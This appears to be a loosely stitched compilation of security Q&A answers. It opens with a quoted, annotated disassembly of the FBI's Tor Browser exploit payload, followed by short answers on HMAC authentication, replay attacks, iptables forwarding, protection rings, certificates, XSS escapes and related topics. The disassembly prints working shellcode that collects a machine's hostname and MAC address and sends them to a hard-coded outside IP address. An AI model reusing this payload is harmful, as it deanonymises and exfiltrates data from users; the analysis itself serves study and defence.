Could someone explain parts of the FBI's Firefox 0-day?

It's not clear what you're asking, but a researcher likely analysed the Javascript code line by line.

In doing so they saw the string "WinNT" and "Firefox", which is who the Javascript is targeting.  Linux VMs, exe analysis tools are anecdotal and don't focus on the core target: Windows machines running Firefox with ToR.  The Firefox version must be old enough to have this bug, and it sends the MAC address and other information to 65.222.202.54

After reading out each line, they got the following analysis, which shows how a powerful a few lines of assembly code (embedded in Javascript) can do quite a lot:

source

  This is an annotation and very brief analysis of the payload used by
  the Tor Browser Bundle exploit. Earlier I pasted a dump here:
  http://pastebin.com/AwnzEpmX

  Briefly, this payload connects to 65.222.202.54:80 and sends it an
  HTTP request that includes the host name (via gethostname()) and the
  MAC address of the local host (via calling SendARP on
  gethostbyname()->h_addr_list). After that it cleans up the state and
  appears to deliberately crash.

  Because this payload does not download or execute any secondary
  backdoor or commands it's very likely that this is being operated by
  an LEA and not by blackhats.

  Vlad Tsyrklevich @vlad902

A lightly annotated disassembly of the payload is included below:

00000000  skipping 0x91 bytes
00000091  5D                pop ebp
00000092  81BDE90200004745  cmp dword [ebp+0x2e9],0x20544547 # "GET "
         -5420
0000009C  7570              jnz 0x10e
0000009E  8D85D1020000      lea eax,[ebp+0x2d1] "ws2_32"
000000A4  50                push eax
000000A5  684C772607        push dword 0x726774c # LoadLibraryA
000000AA  FFD5              call ebp
000000AC  85C0              test eax,eax
000000AE  745E              jz 0x10e
000000B0  8D85D8020000      lea eax,[ebp+0x2d8] "IPHLPAPI"
000000B6  50                push eax
000000B7  684C772607        push dword 0x726774c # LoadLibraryA
000000BC  FFD5              call ebp # ebp = find function
000000BE  85C0              test eax,eax
000000C0  744C              jz 0x10e
000000C2  BB90010000        mov ebx,0x190
000000C7  29DC              sub esp,ebx
000000C9  54                push esp
000000CA  53                push ebx
000000CB  6829806B00        push dword 0x6b8029 # WSAStartupA
000000D0  FFD5              call ebp
000000D2  01DC              add esp,ebx
000000D4  85C0              test eax,eax
000000D6  7536              jnz 0x10e
000000D8  50                push eax
000000D9  50                push eax
000000DA  50                push eax
000000DB  50                push eax
000000DC  40                inc eax
000000DD  50                push eax
000000DE  40                inc eax
000000DF  50                push eax
000000E0  68EA0FDFE0        push dword 0xe0df0fea # WSASocketA
000000E5  FFD5              call ebp
000000E7  31DB              xor ebx,ebx
000000E9  F7D3              not ebx
000000EB  39C3              cmp ebx,eax
000000ED  741F              jz 0x10e
000000EF  89C3              mov ebx,eax
000000F1  6A10              push byte +0x10
000000F3  8DB5E1020000      lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
000000F9  56                push esi
000000FA  53                push ebx
000000FB  6899A57461        push dword 0x6174a599 # connect
00000100  FFD5              call ebp
00000102  85C0              test eax,eax
00000104  741F              jz 0x125
00000106  FE8D89000000      dec byte [ebp+0x89] # Try to connect 5 times
0000010C  75E3              jnz 0xf1
0000010E  80BD4F02000001    cmp byte [ebp+0x24f],0x1
00000115  7407              jz 0x11e
00000117  E83B010000        call 0x257
0000011C  EB05              jmp short 0x123
0000011E  E84D010000        call 0x270
00000123  FFE7              jmp edi
00000125  B800010000        mov eax,0x100
0000012A  29C4              sub esp,eax
0000012C  89E2              mov edx,esp
0000012E  52                push edx
0000012F  50                push eax
00000130  52                push edx
00000131  68B649DE01        push dword 0x1de49b6 # gethostname
00000136  FFD5              call ebp
00000138  5F                pop edi
00000139  81C400010000      add esp,0x100
0000013F  85C0              test eax,eax
00000141  0F85F2000000      jnz near 0x239
00000147  57                push edi
00000148  E8F9000000        call 0x246 # strlen of gethostname
0000014D  5E                pop esi
0000014E  89CA              mov edx,ecx
00000150  8DBDE9020000      lea edi,[ebp+0x2e9]
00000156  E8EB000000        call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
0000015B  4F                dec edi
0000015C  83FA20            cmp edx,byte +0x20
0000015F  7C05              jl 0x166
00000161  BA20000000        mov edx,0x20
00000166  89D1              mov ecx,edx
00000168  56                push esi
00000169  F3A4              rep movsb
0000016B  B90D000000        mov ecx,0xd
00000170  8DB5C4020000      lea esi,[ebp+0x2c4] "\r\nCookie: ID="
00000176  F3A4              rep movsb
00000178  89BD4B020000      mov [ebp+0x24b],edi
0000017E  5E                pop esi
0000017F  56                push esi
00000180  68A9283480        push dword 0x803428a9 # gethostbyname
00000185  FFD5              call ebp
00000187  85C0              test eax,eax
00000189  0F84AA000000      jz near 0x239
0000018F  668B480A          mov cx,[eax+0xa]
00000193  6683F904          cmp cx,byte +0x4
00000197  0F829C000000      jc near 0x239
0000019D  8D400C            lea eax,[eax+0xc]
000001A0  8B00              mov eax,[eax]
000001A2  8B08              mov ecx,[eax]
000001A4  8B09              mov ecx,[ecx]
000001A6  B800010000        mov eax,0x100
000001AB  50                push eax
000001AC  89E7              mov edi,esp
000001AE  29C4              sub esp,eax
000001B0  89E6              mov esi,esp
000001B2  57                push edi
000001B3  56                push esi
000001B4  51                push ecx
000001B5  51                push ecx
000001B6  684872D2B8        push dword 0xb8d27248 # iphlpapi.dll!SendARP
000001BB  FFD5              call ebp
000001BD  85C0              test eax,eax
000001BF  81C404010000      add esp,0x104
000001C5  0FB70F            movzx ecx,word [edi]
000001C8  83F906            cmp ecx,byte +0x6
000001CB  726C              jc 0x239
000001CD  B906000000        mov ecx,0x6
000001D2  B810000000        mov eax,0x10
000001D7  29C4              sub esp,eax
000001D9  89E7              mov edi,esp
000001DB  89CA              mov edx,ecx
000001DD  D1E2              shl edx,1
000001DF  50                push eax
000001E0  52                push edx
000001E1  31D2              xor edx,edx
000001E3  8A16              mov dl,[esi]
000001E5  88D0              mov al,dl
000001E7  24F0              and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
000001E9  C0E804            shr al,0x4
000001EC  3C09              cmp al,0x9
000001EE  7704              ja 0x1f4
000001F0  0430              add al,0x30
000001F2  EB02              jmp short 0x1f6
000001F4  0437              add al,0x37
000001F6  8807              mov [edi],al
000001F8  47                inc edi
000001F9  88D0              mov al,dl
000001FB  240F              and al,0xf
000001FD  3C09              cmp al,0x9
000001FF  7704              ja 0x205
00000201  0430              add al,0x30
00000203  EB02              jmp short 0x207
00000205  0437              add al,0x37
00000207  8807              mov [edi],al
00000209  47                inc edi
0000020A  46                inc esi
0000020B  E2D4              loop 0x1e1
0000020D  59                pop ecx
0000020E  29CF              sub edi,ecx
00000210  89FE              mov esi,edi
00000212  58                pop eax
00000213  01C4              add esp,eax
00000215  8BBD4B020000      mov edi,[ebp+0x24b]
0000021B  F3A4              rep movsb
0000021D  C6854F02000001    mov byte [ebp+0x24f],0x1
00000224  E82E000000        call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
00000229  31C0              xor eax,eax
0000022B  50                push eax
0000022C  51                push ecx
0000022D  29CF              sub edi,ecx
0000022F  4F                dec edi
00000230  57                push edi
00000231  53                push ebx
00000232  68C2EB385F        push dword 0x5f38ebc2 # send
00000237  FFD5              call ebp
00000239  53                push ebx
0000023A  68756E4D61        push dword 0x614d6e75 # closesocket
0000023F  FFD5              call ebp
00000241  E9C8FEFFFF        jmp 0x10e
00000246  31C9              xor ecx,ecx
00000248  F7D1              not ecx
0000024A  31C0              xor eax,eax
0000024C  F2AE              repne scasb
0000024E  F7D1              not ecx
00000250  49                dec ecx
00000251  C3                ret
00000252  0000              add [eax],al
00000254  0000              add [eax],al
00000256  008DBDE90200      add [ebp+0x2e9bd],cl
0000025C  00E8              add al,ch
0000025E  E4FF              in al,0xff
00000260  FF                db 0xFF
00000261  FF4FB9            dec dword [edi-0x47]
00000264  4F                dec edi
00000265  0000              add [eax],al
00000267  008DB5750200      add [ebp+0x275b5],cl
0000026D  00F3              add bl,dh
0000026F  A4                movsb
00000270  8DBDE9020000      lea edi,[ebp+0x2e9]
00000276  E8CBFFFFFF        call 0x246
0000027B  C3                ret
0000027C  0D0A436F6E        or eax,0x6e6f430a
00000281  6E                outsb
00000282  656374696F        arpl [gs:ecx+ebp*2+0x6f],si
00000287  6E                outsb
00000288  3A20              cmp ah,[eax]
0000028A  6B656570          imul esp,[ebp+0x65],byte +0x70
0000028E  2D616C6976        sub eax,0x76696c61
00000293  650D0A416363      gs or eax,0x6363410a
00000299  657074            gs jo 0x310
0000029C  3A20              cmp ah,[eax]
0000029E  2A2F              sub ch,[edi]
000002A0  2A0D0A416363      sub cl,[0x6363410a]
000002A6  657074            gs jo 0x31d
000002A9  2D456E636F        sub eax,0x6f636e45
000002AE  64696E673A20677A  imul ebp,[fs:esi+0x67],dword 0x7a67203a
000002B6  69700D0A0D0A00    imul esi,[eax+0xd],dword 0xa0d0a
000002BD  83C70E            add edi,byte +0xe
000002C0  31C9              xor ecx,ecx
000002C2  F7D1              not ecx
000002C4  31C0              xor eax,eax
000002C6  F3AE              repe scasb
000002C8  4F                dec edi
000002C9  FFE7              jmp edi
000002CB  0D0A436F6F        or eax,0x6f6f430a
000002D0  6B69653A          imul ebp,[ecx+0x65],byte +0x3a
000002D4  204944            and [ecx+0x44],cl
000002D7  3D7773325F        cmp eax,0x5f327377
000002DC  3332              xor esi,[edx]
000002DE  004950            add [ecx+0x50],cl
000002E1  48                dec eax
000002E2  4C                dec esp
000002E3  50                push eax
000002E4  41                inc ecx
000002E5  50                push eax
000002E6  49                dec ecx
000002E7  0002              add [edx],al
000002E9  0000              add [eax],al
000002EB  50                push eax
000002EC  41                inc ecx
000002ED  DECA              fmulp st2
000002EF  3647              ss inc edi
000002F1  45                inc ebp
000002F2  54                push esp
000002F3  202F              and [edi],ch
000002F5  303563656134      xor [0x34616563],dh
000002FB  64652D39353164    gs sub eax,0x64313539
00000302  2D34303337        sub eax,0x37333034
00000307  2D62663866        sub eax,0x66386662
0000030C  2D66363930        sub eax,0x30393666
00000311  3535623237        xor eax,0x37326235
00000316  396262            cmp [edx+0x62],esp
00000319  204854            and [eax+0x54],cl
0000031C  54                push esp
0000031D  50                push eax
0000031E  2F                das
0000031F  312E              xor [esi],ebp
00000321  310D0A486F73      xor [0x736f480a],ecx
00000327  743A              jz 0x363
00000329  2000              and [eax],al
0000032B  0000              add [eax],al
0000032D  0000              add [eax],al
0000032F  0000              add [eax],al
00000331  0000              add [eax],al
00000333  0000              add [eax],al
00000335  0000              add [eax],al
00000337  0000              add [eax],al
00000339  0000              add [eax],al
0000033B  0000              add [eax],al
0000033D  0000              add [eax],al
0000033F  0000              add [eax],al
00000341  0000              add [eax],al
00000343  0000              add [eax],al
00000345  0000              add [eax],al
00000347  0000              add [eax],al
00000349  0000              add [eax],al
0000034B  0000              add [eax],al
0000034D  0000              add [eax],al
0000034F  0000              add [eax],al
00000351  0000              add [eax],al
00000353  0000              add [eax],al
00000355  0000              add [eax],al
00000357  0000              add [eax],al
00000359  0000              add [eax],al
0000035B  0000              add [eax],al
0000035D  0000              add [eax],al
0000035F  0000              add [eax],al
00000361  0000              add [eax],al
00000363  0000              add [eax],al
00000365  0000              add [eax],al
00000367  0000              add [eax],al
00000369  0000              add [eax],al
0000036B  0000              add [eax],al
0000036D  0000              add [eax],al
0000036F  0000              add [eax],al
00000371  0000              add [eax],al
00000373  0000              add [eax],al
00000375  0000              add [eax],al
00000377  0000              add [eax],al
00000379  0000              add [eax],al
0000037B  0000              add [eax],al
0000037D  0000              add [eax],al
0000037F  0000              add [eax],al
00000381  0000              add [eax],al
00000383  0000              add [eax],al
00000385  0000              add [eax],al
00000387  0000              add [eax],al
00000389  0000              add [eax],al
0000038B  0000              add [eax],al
0000038D  0000              add [eax],al
0000038F  0000              add [eax],al
00000391  0000              add [eax],al
00000393  0000              add [eax],al
00000395  0000              add [eax],al
00000397  0000              add [eax],al
00000399  0000              add [eax],al
0000039B  0000              add [eax],al
0000039D  0000              add [eax],al
0000039F  0000              add [eax],al
000003A1  0000              add [eax],al
000003A3  0000              add [eax],al
000003A5  0000              add [eax],al
000003A7  0000              add [eax],al
000003A9  0000              add [eax],al
000003AB  0000              add [eax],al
000003AD  0000              add [eax],al
000003AF  0000              add [eax],al
000003B1  0000              add [eax],al
000003B3  0000              add [eax],al
000003B5  0000              add [eax],al
000003B7  0000              add [eax],al
000003B9  0000              add [eax],al
000003BB  90                nop


Use password to calculate checksum for API requests

Using a hash for authentication is very reasonable, but it is a bit tricky to get right. You should use a hash based message authentication as it circumvents some subtle flaws. You can find reputable libraries that support it for most languages/platforms.

One drawback of this strategy is that it requires that the server have a clear text copy of the password. This is rarely advisable for user passwords. But using it for generated secrets is very useful.

One way to avoid the password storage is to require a username/password (or other) authentication step that returns a secure token generated by the server. The client can then use that token for signing and the server could validate it. If the token is an HMAC of key information from the login such as username, session timeout, etc..., the server doesn't need to store the token to verify it. But, at this point, you've basically recreated OAuth and should probably just use it.

All of this assumes that you're using SSL. Without that, it will be very hard to prevent MiTM, replay, and similar attacks.


The logging options available in Windows run pretty deep, so choose what you want and set your policies appropriately.

To give you a flavour of what options there are (and are recommended) have a look at the Audit Policy Recommendations.


Does a Smartphone contain all the essential properties of a Smartcard? If not, what is missing?

Can a smartphone, alone, be a valid substitute for a Smartcard?

In one sense the answer is yes because a smartphone has all the capabilities that would commonly be attributed to a smart card.  I'm not sure I consider them equivalent because a smartphone has many more vectors by which it could be compromised.  The advantage of narrow scope is that it is much more easily reasoned about and therefore more easily secured.


Send fake response(?packets) to a program

You are trying a replay attack.  Those who design protocols know about replay attacks and try, usually successfully, to defeat them.  Often that's done by using a timestamp or a random number (called a "nonce" by cryptographers) in a hash that's attached to a message.

You can find some detail here: http://en.wikipedia.org/wiki/Replay_attack


IPSec Host-to-Host VPN (RedHat) needs IP Forwarding?

I just did some research on this as I am in the same seat as you; I've set up a VPN but wanted to make sure that I'm not forwarding the world.

Enabling forwarding in the kernel, doesn't mean that everything will pass through iptables firewall. However, if the firewall allows all forwarding, you might be in big trouble. Luckily iptables seem to DROP forwarded packets by default. To have a look at your firewall forwarding policies, execute iptables -L FORWARD.

FORWARD is the chain where firewall rules for IP forwarding reside. If you are curious about the different tables and chains a forwarded packet goes through, have a look at https://www.frozentux.net/iptables-tutorial/chunkyhtml/c962.html.

This is what my FORWARD chain looks like on an Ubuntu machine, using the ufw firewall, with a single VPN:

# iptables -L FORWARD
Chain FORWARD (policy DROP)
target     prot opt source               destination
ACCEPT     all  --  192.168.0.0/24       192.168.1.0/24       policy match dir in pol ipsec reqid 5 proto esp
ACCEPT     all  --  192.168.1.0/24       192.168.0.0/24       policy match dir out pol ipsec reqid 5 proto esp
ufw-before-logging-forward  all  --  anywhere             anywhere
ufw-before-forward  all  --  anywhere             anywhere
ufw-after-forward  all  --  anywhere             anywhere
ufw-after-logging-forward  all  --  anywhere             anywhere
ufw-reject-forward  all  --  anywhere             anywhere

Some things to note:

The default action is DROP (policy DROP, good!).
The only two ACCEPT rules are for established IPSEC connections (policy match dir in pol ipsec reqid 5 proto esp and policy match dir out pol ipsec reqid 5 proto esp). Those rules have been automagically added by my IPSEC application.
My FORWARD chain above delegates to ufw-before-logging-forward chain etc. When I investigate them I see no additional ACCEPTs. That is, I should be safe.

Here's an excerpt from iptables -L where I look at the delegated chains:

# iptables -L
[...]

Chain ufw-after-forward (1 references)
target     prot opt source               destination

[...]

Chain ufw-after-logging-forward (1 references)
target     prot opt source               destination
LOG        all  --  anywhere             anywhere             limit: avg 3/min burst 10 LOG level warning prefix "[UFW BLOCK] "

[...]

Chain ufw-before-forward (1 references)
target     prot opt source               destination
ufw-user-forward  all  --  anywhere             anywhere

[...]

Chain ufw-before-logging-forward (1 references)
target     prot opt source               destination

[...]

Chain ufw-reject-forward (1 references)
target     prot opt source               destination

[...]

Chain ufw-skip-to-policy-forward (0 references)
target     prot opt source               destination
DROP       all  --  anywhere             anywhere

[...]

Chain ufw-user-forward (1 references)
target     prot opt source               destination

[...]

Chain ufw-user-logging-forward (0 references)
target     prot opt source               destination


Security implications when setting the discard option in /etc/crypttab

A discard request, aka "TRIM", puts part of a solid-state drive into an "unused, ready to write" state.  An attacker can use this to figure out which parts of the drive are empty, something they couldn't figure out if those sections contained encrypted empty space.


Transactional replication through VPN, do I need to encrypt connection?

The point of the VPN is to secure the traffic so it can't be snooped on. As long as each server only allows connections from each other and they're locked down properly, there shouldn't be a problem. Also be sure that there's authentication in place for the database. If something gets through the firewall somehow and tries to connect, you don't want to just let them in.

However, if you don't trust the connection from your prod machine to the VPN, or the VPN to the SQL server, you might want to encrypt it (but at that point you might as well run the VPN on the client and on the SQL server). Don't forget that encrypting it twice will add overhead, and this probably isn't something you want, especially after having to communicate with a database that's off site.

This being said, you'll probably want to go with what the security team recommends. They may have other concerns and without talking to them, we won't know what those might be.


Ring -3 exploits and existence of other rings

Negative rings are false rings. They are not actual privilege levels of the CPU. The way rings work is simple. Some instructions have privilege checks where they verify that the current privilege level, or CPL, is sufficient and if it is not, the instruction fails with a general protection fault. CPL0 is ring 0, CPL1 is ring 1, etc. Some instructions will require a certain privilege level depending on the value of its operands (for example, mov may return a GPF if the CPL is insufficient and the memory address given to it requires ring 0 to access, or if a register given to it is privileged). Others always require a higher privilege level. Still others can be configured to require CPL0. An example of that is the RDTSC instruction. It will throw a general protection fault unless either the TSD bit in CR4 (the fourth control register) is unset, or the current privilege level is zero, or the system is in real mode (determined by checking if the PE bit in CR0 is unset). This instruction is internally defined as:
if(CR4.TSD == 0 || CPL == 0 || CR0.PE == 0) EDX:EAX = TimeStampCounter;
else Exception(GP(0));

I wrote a bit more about rings and their uses in this answer.
There is no such thing as a negative privilege level. They don't exist. Ring -1 is merely a nickname for hypervisor functionality (VT-x on Intel). Ring -2 is a nickname for System Management Mode context, or SMM, which executes isolated code when a special interrupt called an SMI occurs. Ring -3 is a nickname for the code that runs on the CSME, an i486/i586 hybrid co-processor inside modern Intel chipsets that, indirectly, has access to system memory (I say indirectly because it's not designed for full memory access, but it does expose a virtual PCIe device, and it turns out that it can also interfere with DMAR, used by the IOMMU). Using protection rings as an analogy for these super-privileged contexts can be helpful, but the analogy breaks down when you start looking at x86 in detail.

What would an even lower-level ring look like

The only thing that could be thought of as lower than any of these is called probe mode (which is, again, not a real ring). It is initiated by JTAG and provides an extreme amount of control over the entire CPU. Probe mode is not nearly as powerful as it used to be, but there may be ways to unlock a more powerful version of probe mode with access to special Intel hardware and credentials.

has there has been any work regarding exploits in this area

Not really. JTAG requires physical access and, for Intel, a password specific to the CPU's serial number. It's also possible that modern commercial Intel chipsets have JTAG and related debugging features disabled on non-development boards by burning specific OTP (one-time programmable) fuses built into the chipset. Someone more familiar with Intel may be able to clarify.


What can a zombie computer feasibly install and run?

To be useful for puzzle-cracking, a zombie node must have network bandwidth (for the one-time download of the Javascript interpreter, and for each puzzle instance to obtain), RAM or disk space (for storing the Javascript interpreter), and spare CPU (to actually run the thing). Typical botnet nodes have all three:

A typical usage for botnets is to send spam; this means sending an awful lot of data. One must assume that typical botnet nodes have bandwidth. Home machines normally have more download bandwidth than upload, and yet spamming uses the upload, so zombie home machines can really download a lot.
Botnet nodes also have storage space by the gigabytes: when was the last time you saw a machine with a filled-up disk ? Actually, since filesystem performance tends to degrade when the disk is more than 80% full (because of fragmentation), there are incentives for keeping some spare room in disks.
Most machines out there are idle most of the time. In general, desktop systems use CPU only when the human user is in front of them (and only when that user does things which use a lot of CPU, like gaming, and unlike Web browsing); servers have spare CPU to deal with peak usage, but peak usage, by definition, occurs relatively rarely.

There are limits to what a botnet node would practically do, but they are much higher than mere 7 megabytes. 7 megabytes will be downloaded in 7 seconds or so; they can fit in RAM. 7 gigabytes might be more challenging for the botnet author; smuggling 7 gigabytes on the hard disk in a discreet way could be relatively uneasy. But mere megabytes ! Piece of cake.


PKI - Why Root CA is in intermediate CA section?

These problems often spur out of incorrect certificate usage parameters.
Obviously, you need to have CA:TRUE, but the other key usage parameters also need to be correct. If the certificate usage parameters are incorrect, chances are that windows autodetect this certificate as a intermediate CA.

If there is the smallest disprecancy between the signer and subject of the certificate (so its no longer really orthodox "self-signed"), then it will be taken as a intermediate certificate.

You can install this as a Intermediate certificate. Go then in the certificate path and check if windows Thinks this certificate is signed by a Another CA. If windows misdetect the certificate as intermediate, you should see a top certificate that is present with a X above your certificate because windows do not know about this certificate.

If you still want to install this as a real root certificate, you can manually override the certificate placement by unchecking the box "Let windows choose a suitable store for this certificate" and then manually selecting "root CA".


Two factor authentication using CVV and 3D secure code

No, asking for a password or secret answer via 3D Secure is "something you know" and not another category of authentication as the cardholder data (number, expiration date, code) could also be "something you know". To qualify for "something you have" it will need to be verified in real time.

Applications such as Google Authenticator and 2FA dongles can work offline so they would work in a situation where mobile reception is poor.

Although 3D Secure is not two factor authentication, it can add security as the 3D secure details are not sent to the merchant themselves with the rest of the cardholder data. They are often sent directly to an authentication authority such as Arcot, and then they return a code to the merchant indicating if the 3D secure details were correct and that the card processor will take on the liability for any fraud rather than the merchant. Having said that, the current implementation leaves a lot to be desired. Often the Arcot authentication page, although it is HTTPS, is loaded within an IFrame within the merchant's website, not allowing your average user to check the address bar to verify where their 3D Secure answers are being sent.


How browser parses the escape characters in Javascript (XSS)?

As @Jacco mentioned in his comment, the test snippet you used uses escape sequences.
In this situation, the backslash (\) is the escape character.  When a backslash is encountered, it means "the next character may have special meaning, if it does, use that special meaning instead".
However, not all backslash escape sequences are valid.  In those cases, the next character is used as-is.  For example, \j has no special meaning, so it is interpreted as a plain j instead.  However, \n (newlines), \r (carriage return), \v (vertical tab), and \t (horizontal tab) do have special meaning.  This is why you won't see backslashes before those characters in your test snippet.

In your case, I don't even think the backslashes are necessary.  They're merely there to attempt to circumvent any pattern based matching a detection engine might employ.  I imagine it wouldn't fool too many engines though, as it's a pretty common tactic and stands out like a sore thumb.

As for how the attack works, when a browser attempts to visit a URL with a JavaScript scheme (i.e. a URL starting with javascript:), it interprets everything after it as JavaScript code and runs it.


How do I use OpenSSL with the Java Keytool?

Your assumption are slightly incorrect, and I'll tell why:
to generate a csr, you can use either openssl or keytool.

if you have a Linux-based sserver like Apache, use openssl to generate the csr/private key, the certificate is then installed referencing the certificate (public key), the private key and the intermediates in the configuration file.
if you have a Java-based server like Tomcat, Glassfish, etc., use keytool to generate the keystore and the csr/private key, then install the certificate in the correct format.

I reckon browsing the knowledgebase of one of the CA authorities you mentioned above will give you all the details that you need.


Certificate "class" is essentially a marketing terminology. Each CA is free to call some of the certificates "class 0" or "class 1" or whatever, roughly meaning "I issued that but I did not bother to check" or "this time I did some checks because the owner paid me enough for that".

Theoretically, as per X.509 rules, the "class" should be encoded in the certificate as a Certificate Policies extension: the CA can put there some OID which designate the set of procedures applied for the issuance of the certificate. However, these OID are CA-specific, and can be understood only by having a look at the Certification Practice Statement, a legal-looking document that may or may not be referenced from the CP extension, and is usually a 200-pages PDF file that cannot be digested by a computer, only by a human being (or a lawyer).

Recently, some commercial CA and browser vendors have reached some agreement about Extended Validation certificates, which can be thought of as "upper class" certificates (certificates where the CA actually applied some care in the process), and are indeed identified by their CP extensions. Yet the identification is still made relatively to a big list of "EV-compliant policy OID" that clients (Web browser) somehow know in advance (it is maintained by the browser vendors).


sqlmap not finding a proven vulnerability

Several things to keep in mind:

The exploit has not been confirmed at exploit-db.com as stated by Michael in the comments.
The server could be running a WAF that returns 200 OK headers to confuse SQLMap.
The server could be running something that filters out "bad" characters in POST/GET request which in result voids the exploit.

Try executing the exploit manually or with a tool such as Postman in Google Chrome. That way you have a better view of what the server is returning.


If you check here you will see that WordPress versions 4.8.1 and earlier are affected by nine security issues:

  $wpdb->prepare() can create unexpected and unsafe queries leading to potential SQL injection (SQLi). WordPress core is not directly
  vulnerable to this issue, but we’ve added hardening to prevent plugins
  and themes from accidentally causing a vulnerability. Reported by
  Slavco.
  A cross-site scripting (XSS) vulnerability was discovered in the oEmbed discovery. Reported by xknown of the WordPress Security
  Team.
  A cross-site scripting (XSS) vulnerability was discovered in the visual editor. Reported by Rodolfo Assis (@brutelogic) of Sucuri
  Security.
  A path traversal vulnerability was discovered in the file unzipping code. Reported by Alex Chapman (noxrnet).
  A cross-site scripting (XSS) vulnerability was discovered in the plugin editor. Reported by 陈瑞琦 (Chen Ruiqi).
  An open redirect was discovered on the user and term edit screens. Reported by Yasin Soliman (ysx).
  A path traversal vulnerability was discovered in the customizer. Reported by Weston Ruter of the WordPress Security Team.
  A cross-site scripting (XSS) vulnerability was discovered in template names. Reported by Luka (sikic).
  A cross-site scripting (XSS) vulnerability was discovered in the link modal. Reported by Anas Roubi (qasuar).

So yes, you should updated your Wordpress to the latest one.


Risks in avoiding AdBlock detection by importing cookies or simulating the displaying of ads

The way these scripts work is by trying to detect if a HTML element that is supposed to be holding the ad exists or is empty since adblocks methods are to remove the content from the page.

Adblocker's don't have much to do about it since they remove the elements/empty them which can be easily detect by Javascript with some code as the following:

if (document.getElementById('adelement')){
   console.log("No ad blocker detected.");
}else{
   console.log("You're using an Adblocker!");
}

The ideal solution would be to detect the Javascript that is checking for an adblocker while clearing the cookies to ensure privacy so you wont be tracked.

  Can any of these techniques be used safely, without actually allowing ad-providers from tracking me?

If the adblocker does indeed clear your cookies which is the main source of identification for the ad providers your privacy will be enhanced.

Some other ways adblockers work:

Element with attributes that have the word ad in them
Scripts being loaded that have the word ad in them in any sort of way.
Find a url that is generally used for ads (For example google ads) and block the network request causing the ad not to load (The url is usaully detected from a blacklist of ad websites).


Full disk encryption and multi-factor authentication

The problem is that most multi-factor authentication methods are just that--authentication. They often require some code to verify the validity of the token or information you present.

However, with disk encryption your password is the actual encryption key. There is no gatekeeper involved, either your key unencrypts the data or it doesn't.

I have used the Yubikey's static password feature with lets you create a 32-character password which is nice, but like you said there really is not a true "what you have" going on there, it is still just a static password that could be intercepted and entered without the physical token present.

You could probably find a way to do true two-factor authentication using an HSM that does actual authentication (such as requiring you to enter a PIN) or you could store a keyfile on a device that provides two-factor authentication. But ultimately all you are doing is providing a longer password or static keyfile.


Why are generated access tokens for APIs much longer than passwords?

Quite simply, the token is not designed to be memorized so it can be as long as they want.  A password is limited in length to what a person can practically reliably recall after a short memorization period.  This limits it to 7-10 characters for most people.  The token is designed to be copy/pasted, just once even (since it is application specific) therefore there is absolutely no penalty to being long, and the great length allows it to be both secure and unique (i.e. the token can have enough embedded information to tie back to a specific account).

I suppose a more pointed question would be, why aren't passwords longer ;-)


Why is programming skill required for cyber security job positions?

Is programming knowledge mandatory for an Information Security job?

No, it's not. You can certainly become a pentester or a security architect by focusing your studies on these fields, with only minimal or no programming knowledge.

  Does programming knowledge help?

Yes, it does. Because programming in turn teaches a lot about how computers work, and more informally, also how programmers work. This explains why some vulnerability classes still exist, even if they have been known for 20 years now.

  Does every job include fixing or customizing software?

No. Pentesters generally don't fix software. They show vulnerabilities and make suggestions on how software can be fixed. Other Information Security jobs may indeed require such suggestions to be implemented, which then basically equates to "being a programmer", and thus requires programming knowledge.

  Why do so many Information Security jobs require programming knowledge?

Because Information Security is a vast field, like mammals. Asking "Do Information Security jobs require programming knowledge?" is like asking "Are mammals dangerous?". The answer is, some are and some are not.

As mentioned above, some jobs may require you to do a lot of programming, and thus naturally they will require skills in those programming languages.


What type of encoding do .pem files use to store the key?

There are two commonly used formats:

DER - binary; data is stored in ASN.1 structure
PEM - text; basically it is base64-encoded DER

You can inspect them both for example with openssl asn1parse command or online decoder.


Yes, that's possible.

The malware probably wouldn't be embedded in the video itself, but the video file would be specially crafted to exploit a vulnerability in the codec or media player, to gain code execution. The exploit would then download a file and run it, infecting the machine.

These types of exploits have been common amongst popular document formats, e.g. PDF. Their proliferation makes them a good target for exploit writers, because people use them a lot and assume they're safe. At the end of the day, any file type could potentially contain an exploit, since an application that runs executable code is involved at some point.

Exploits like this are usually buffer overflow attacks, which alter control flow by overwriting data structures outside the normal memory range of a buffer.

More info:

Buffer overflows on OWASP
Buffer overflow protection
Exploit Writing 101 on CoreLAN


Good, simple list of reasons that email is inherently insecure

If you want an analogy, read this.

As for the list of vulnerabilities:

Emails can be sniffed in transit, since they are not encrypted (some sites will opportunistically employ encryption for transit, but this is not reliably activated).
Emails will be stored on physical disks in the servers which are involved in the operation: the sender's email server, the recipient's email server, and any server "in between". Physical disks can be sniffed when decommissioned or through backup tapes. Bored interns in the facilities managing these servers could simply have a look.
It is easy to make emails go to the wrong machine by altering the DNS.
There are viruses which routinely inspect emails received by infected machines, in search for passwords, credit card data or other juicy information.

The whole email system just assumes that everybody is honest and nice and trustworthy. It is surprising (but morally encouraging) that it works at all.


Restricting locations for unzipping a zip file

No. And this is never going to be possible, because the person unzipping the file can have total control of their machine.

As proven by the numerous failed DRM schemes, once you give code or data to someone, they can do what they want with it.

That's just how the world works :-)


Verification of applications on Blackberry Store

I want to help you prevent you from having to ask these type of basic answers. I will therefore show how to use Google and search for your answer:

http://lmgtfy.com/?q=blackberry+appstore+security

The first link yielded this article

  To prevent an Android-style malware overload from happening on its own
  platform, and to find a big differentiator in the market, BlackBerry
  has inked a deal with Trend Micro to add security for third-party
  apps. All existing and new applications submitted to the BlackBerry
  World storefront will be scanned for potential malicious behavior.

  To do that, BlackBerry is integrating Trend Micro’s Mobile Application
  Reputation Service with its internal, proprietary system for analyzing
  applications.

  "BlackBerry is working with Trend Micro to implement a more robust
  approach for addressing privacy and security concerns related to
  third-party applications," said Adrian Stone, director of BlackBerry
  security response and threat analysis, in a statement. "By
  incorporating Trend Micro's advanced mobile scanning and detection
  capabilities with our own internal, proprietary application analyzing
  system, we can provide another layer of protection and assurance for
  BlackBerry customers.”

  "The volume of malicious and high-risk mobile apps is on the rise
  across the industry,” said Kevin Simzer, vice president of corporate
  development and alliances at Trend Micro. "With the speed that
  cybercriminals are targeting new platforms and applications, Trend
  Micro and BlackBerry's strategic collaboration is natural and timely
